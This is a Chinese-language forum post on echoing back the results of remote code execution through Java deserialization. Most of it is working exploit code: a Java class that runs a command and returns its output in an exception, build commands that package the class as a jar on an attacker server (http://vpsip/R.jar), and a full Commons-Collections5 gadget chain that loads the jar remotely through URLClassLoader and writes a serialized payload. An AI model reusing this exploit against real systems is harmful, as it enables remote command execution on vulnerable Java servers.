|
楼主 |
发表于 2021-11-17 00:08:11
|
显示全部楼层
java反序列化RCE回显研究
总结一下常见反序列化RCE回显几种方式如下:
a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
b).在自定义类中,抛出异常,取得回显结果。
eg:Jboss报错返回命令执行结果。
利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。
1、URLClassLoader加载远程恶意类,抛出异常回显
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import java.net.Socket;
- public class R
- {
- public R(String commond) throws Exception {
- reverseConn(commond);
- }
- public void reverseConn(String commond) throws Exception {
- //执行命令
- Process proc = Runtime.getRuntime().exec(commond);
- BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
- StringBuffer sb = new StringBuffer();
- String line;
- while ((line = br.readLine()) != null)
- {
- sb.append(line).append("\n");
- }
- String result = sb.toString();
- Exception e=new Exception(result);
- throw e;
- }
- }
复制代码
将恶意类打成jar包,把jar包放在服务器上。
- javac R.java //先编译成class文件
- jar -cvf R.jar R.class //打成jar包
复制代码
采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:
- package test;
- import java.io.*;
- import java.lang.annotation.Retention;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Proxy;
- import java.util.HashMap;
- import java.util.Map;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- public class Test{
- public InvocationHandler getObject(final String command) throws Exception {
- // inert chain for setup
- final Transformer transformerChain = new ChainedTransformer(
- new Transformer[] { new ConstantTransformer(1) });
- // real chain for after setup
- final Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(java.net.URLClassLoader.class),
- // getConstructor class.class classname
- new InvokerTransformer("getConstructor",
- new Class[] { Class[].class },
- new Object[] { new Class[] { java.net.URL[].class } }),
- new InvokerTransformer(
- "newInstance",
- new Class[] { Object[].class },
- new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
- "http://vpsip/R.jar") } } }),
- // loadClass String.class R
- new InvokerTransformer("loadClass",
- new Class[] { String.class }, new Object[] { "R" }),
- // set the target reverse ip and port
- new InvokerTransformer("getConstructor",
- new Class[] { Class[].class },
- new Object[] { new Class[] { String.class } }),
- // invoke
- new InvokerTransformer("newInstance",
- new Class[] { Object[].class },
- new Object[] { new String[] { command } }),
- new ConstantTransformer(1) };
- final Map innerMap = new HashMap();
- final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
- InvocationHandler invo = (InvocationHandler) getFirstCtor(
- "sun.reflect.annotation.AnnotationInvocationHandler")
- .newInstance(Retention.class, lazyMap);
- //generate object which implements specifiy interface
- final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
- .getClass().getClassLoader(), new Class[] { Map.class }, invo));
- final InvocationHandler handler = (InvocationHandler) getFirstCtor(
- "sun.reflect.annotation.AnnotationInvocationHandler")
- .newInstance(Retention.class, mapProxy);
- setFieldValue(transformerChain, "iTransformers", transformers);
- return handler;
- }
- public static Constructor<?> getFirstCtor(final String name)
- throws Exception {
- final Constructor<?> ctor = Class.forName(name)
- .getDeclaredConstructors()[0];
- ctor.setAccessible(true);
- return ctor;
- }
- public static Field getField(final Class<?> clazz, final String fieldName)
- throws Exception {
- Field field = clazz.getDeclaredField(fieldName);
- if (field == null && clazz.getSuperclass() != null) {
- field = getField(clazz.getSuperclass(), fieldName);
- }
- field.setAccessible(true);
- return field;
- }
- public static void setFieldValue(final Object obj, final String fieldName,
- final Object value) throws Exception {
- final Field field = getField(obj.getClass(), fieldName);
- field.set(obj, value);
- }
- public static void main(final String[] args) throws Exception {
- final Object objBefore = Test.class.newInstance()
- .getObject("ipconfig");
- //deserialize(serialize(objBefore));
- File f = new File("E:\\payloadsfinal.bin");
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
- out.writeObject(objBefore);
- out.flush();
- out.close();
- FileInputStream fis = new FileInputStream("E:\\payloadsfinal.bin");
- ObjectInputStream ois = new ObjectInputStream(fis);
- //恢复对象
- ois.readObject();
- ois.close();
- }
- }
复制代码 |
|